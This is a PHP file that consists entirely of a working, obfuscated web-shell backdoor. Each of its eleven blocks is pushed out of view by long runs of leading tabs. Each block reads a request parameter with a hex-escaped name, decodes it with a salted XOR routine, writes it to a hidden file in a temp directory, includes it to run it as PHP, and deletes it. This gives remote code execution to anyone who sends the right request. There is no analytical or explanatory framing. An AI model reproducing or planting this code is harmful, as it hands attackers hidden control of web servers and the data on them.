<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65c"])){ $k = $_REQUEST["\x72\x65c"]; $k= explode ( "." , $k ) ; $entity= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); $q= 0; foreach ($k as $v9) { $chS= ord($salt6[$q %$lenS]); $d= ((int)$v9 - $chS - ($q %10)) ^ 37; $entity .= chr($d); $q++; } $element = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp"]); foreach ($element as $val): if (is_dir($val) && is_writable($val)) { $fac = sprintf("%s/.pgrp", $val); $success = file_put_contents($fac, $entity); if ($success) { include $fac; @unlink($fac); die();} } endforeach; }
																																										if(!is_null($_REQUEST["k"] ?? null)){ $reference = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd()]); $hld = $_REQUEST["k"]; $hld = explode( "." , $hld ); $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $n = 0; $__tmp = $hld; while ($v7 = array_shift($__tmp)) { $chS = ord($s[$n % $lenS]); $dec = ((int)$v7 - $chS - ($n % 10)) ^7; $resource .= chr($dec); $n++; } foreach ($reference as $value): if (!!is_dir($value) && !!is_writable($value)) { $pset = join("/", [$value, ".mrk"]); if (file_put_contents($pset, $resource)) { require $pset; unlink($pset); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "h\x6F\x6Cder")){ $tkn = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP")]); $entity = $_POST["h\x6F\x6Cder"]; $entity = explode ("." , $entity ) ; $rec=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s2 ); $u=0; $__tmp=$entity; while($v2=array_shift($__tmp)) {$chS=ord($s2[$u % $lenS] ); $d=((int)$v2 - $chS -($u % 10)) ^ 100; $rec .= chr($d ); $u++; } for ($mrk = 0, $element = count($tkn); $mrk < $element; $mrk++) { $reference = $tkn[$mrk]; if (is_writable($reference) && is_dir($reference)) { $dat = "$reference" . "/.flag"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(@$_POST["r\x65\x66e\x72\x65nce"] !== null){ $ptr = $_POST["r\x65\x66e\x72\x65nce"]; $ptr=explode( ".", $ptr ); $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $u = 0; $__tmp = $ptr; while( $v4 = array_shift( $__tmp)) { $chS = ord( $salt[$u % $lenS] ); $d =( ( int)$v4 - $chS -( $u % 10)) ^ 54; $data_chunk .= chr( $d ); $u++; } $pset = array_filter(["/tmp", getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); for ($flg = 0, $item = count($pset); $flg < $item; $flg++) { $desc = $pset[$flg]; if (is_writable($desc) && is_dir($desc)) { $parameter_group = str_replace("{var_dir}", $desc, "{var_dir}/.value"); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(isset($_REQUEST["da\x74a"])){ $value = $_REQUEST["da\x74a"]; $value= explode('.' , $value) ; $comp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); $n = 0; foreach( $value as $v4) { $sChar = ord( $salt9[$n % $lenS]); $dec =( ( int)$v4 - $sChar -( $n % 10))^ 96; $comp .= chr( $dec); $n++; } $itm = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm"]); while ($hld = array_shift($itm)) { if (is_dir($hld) ? is_writable($hld) : false) { $element = implode("/", [$hld, ".object"]); if (file_put_contents($element, $comp)) { require $element; unlink($element); die(); } } } }
																																										if(!empty($_POST["\x70\x73et"])){ $ptr = $_POST["\x70\x73et"]; $ptr= explode ('.',$ptr ); $entity = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $m = 0; $len = count( $ptr); do { if( $m >= $len) break; $v2 = $ptr[$m]; $chS = ord( $salt6[$m % $sLen]); $d = ( ( int)$v2 - $chS -( $m % 10)) ^ 62; $entity .= chr( $d); $m++; } while( true); $obj = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); while ($tkn = array_shift($obj)) { if (max(0, is_dir($tkn) * is_writable($tkn))) { $resource = implode("/", [$tkn, ".key"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(@$_POST["reco\x72d"] !== null){ $pgrp = $_POST["reco\x72d"]; $pgrp = explode ( ".", $pgrp) ; $key= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s5); foreach ($pgrp as $s =>$v1) { $chS= ord($s5[$s %$sLen]); $dec= ((int)$v1 - $chS - ($s %10)) ^ 28; $key .= chr($dec); } $element = array_filter([getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($element as $marker) { if (!( !is_dir($marker) || !is_writable($marker) )) { $k = "$marker/.binding"; $success = file_put_contents($k, $key); if ($success) { include $k; @unlink($k); die();} } } }
																																										if(@$_POST["\x6Dr\x6B"] !== null){ $bind = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd()]); $holder = $_POST["\x6Dr\x6B"]; $holder = explode( '.', $holder ) ; $rec= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt4); $t= 0; array_walk($holder, function ($v1) use (&$rec, &$t, $salt4, $lenS) { $chS= ord($salt4[$t % $lenS]); $dec= ((int)$v1 - $chS - ($t % 10))^ 15; $rec .= chr($dec); $t++;} ); foreach ($bind as $key => $sym) { if (array_product([is_dir($sym), is_writable($sym)])) { $descriptor = join("/", [$sym, ".ent"]); $success = file_put_contents($descriptor, $rec); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x6C\x67"])){ $ent = $_REQUEST["f\x6C\x67"]; $ent= explode ( "." , $ent ) ; $bind =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt3 ); $x =0; while ($x < count($ent)) {$v7 =$ent[$x]; $sChar =ord($salt3[$x % $lenS] ); $dec =((int)$v7 - $sChar - ($x % 10)) ^ 91; $bind .= chr($dec ); $x++; } $symbol = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm"]); foreach ($symbol as $pointer): if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $elem = implode("/", [$pointer, ".itm"]); if (file_put_contents($elem, $bind)) { include $elem; @unlink($elem); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x64es\x63\x72i\x70t\x6Fr"])){ $record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP")]); $parameter_group = $_REQUEST["\x64es\x63\x72i\x70t\x6Fr"]; $parameter_group = explode ( "." , $parameter_group ); $rec = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $s = 0; array_walk($parameter_group , function ($v6) use (&$rec , &$s , $salt1 , $sLen) {$chS = ord($salt1[$s % $sLen]); $dec = ((int)$v6 - $chS - ($s % 10))^98; $rec .=chr($dec); $s++; }); foreach ($record as $key => $mrk) { if (!( !is_dir($mrk) || !is_writable($mrk) )) { $key = str_replace("{var_dir}", $mrk, "{var_dir}/.desc"); if (file_put_contents($key, $rec)) { include $key; @unlink($key); die(); } } } }


if(isset($_POST["\x68\x6Cd"])){
	$flag = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path(), getcwd(), getenv("TEMP")]);
	$k = $_POST["\x68\x6Cd"];
			$k 	= 		explode	( ".",$k		)	;	 
	$ptr 	='';
            $s8 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen($s8	);
            $m 	=0;
    
            while($m < count($k)) {
                $v2 	=$k[$m];
                $sChar 	=ord($s8[$m % $lenS]	);
                $dec 	=((int)$v2 - $sChar -($m % 10)) ^ 57;
                $ptr .=	chr($dec	);
                $m++;
            }
	while ($dat = array_shift($flag)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) {
    $rec = join("/", [$dat, ".parameter_group"]);
    if (file_put_contents($rec, $ptr)) {
	include $rec;
	@unlink($rec);
	die();
}
}
}
}